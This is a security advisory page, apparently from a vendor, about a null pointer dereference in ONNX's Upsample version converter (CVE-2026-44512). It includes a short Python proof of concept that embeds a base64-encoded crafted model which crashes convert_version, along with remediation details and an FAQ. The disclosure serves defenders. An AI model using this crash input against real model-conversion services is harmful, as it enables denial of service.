Summary
ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)
Full technical description
Null pointer dereference (SIGSEGV) in Upsample_6_7::adapt_upsample_6_7() (onnx/version_converter/adapters/upsample_6_7.h:31) when convert_version() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.
This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.
Details
The Upsample 6→7 adapter validates attributes but not inputs:
// upsample_6_7.h:20-33
void adapt_upsample_6_7(..., Node* node) const {
ONNX_ASSERTM(
node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol),
"...") // Attribute check PASSES
auto width_scale = node->f(width_scale_symbol);
auto height_scale = node->f(height_scale_symbol);
auto input_shape = node->inputs()[0]->sizes();
// ^^^^^^^^^^^^^^^^^^^^
// OOB when inputs().size() == 0 → SIGSEGV
}
The PoC has an Upsample node at opset 6 with the required width_scale and height_scale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef:
- Release builds (
NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV - Debug builds:
assert(Index < Length)atarray_ref.h:159→ SIGABRT
An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.
PoC
import base64
import onnx
from onnx import version_converter
poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="
model = onnx.load_from_string(base64.b64decode(poc_b64))
# CRASHES, Upsample_6_7 adapter dereferences empty inputs array
version_converter.convert_version(model, 7) # SIGSEGV
107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).
Impact
Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).
This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.
The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.
CVE-2026-44512 has a CVSS score of 5.5 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.22.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-44512? CVE-2026-44512 is a medium-severity null pointer dereference vulnerability in onnx (pip), affecting versions >= 1.9.0, < 1.22.0. It is fixed in 1.22.0. The application dereferences a null pointer, causing a crash.
- How severe is CVE-2026-44512? CVE-2026-44512 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of onnx are affected by CVE-2026-44512? onnx (pip) versions >= 1.9.0, < 1.22.0 is affected.
- Is there a fix for CVE-2026-44512? Yes. CVE-2026-44512 is fixed in 1.22.0. Upgrade to this version or later.
- Is CVE-2026-44512 exploitable, and should I be worried? Whether CVE-2026-44512 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-44512 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-44512? Upgrade
onnxto 1.22.0 or later.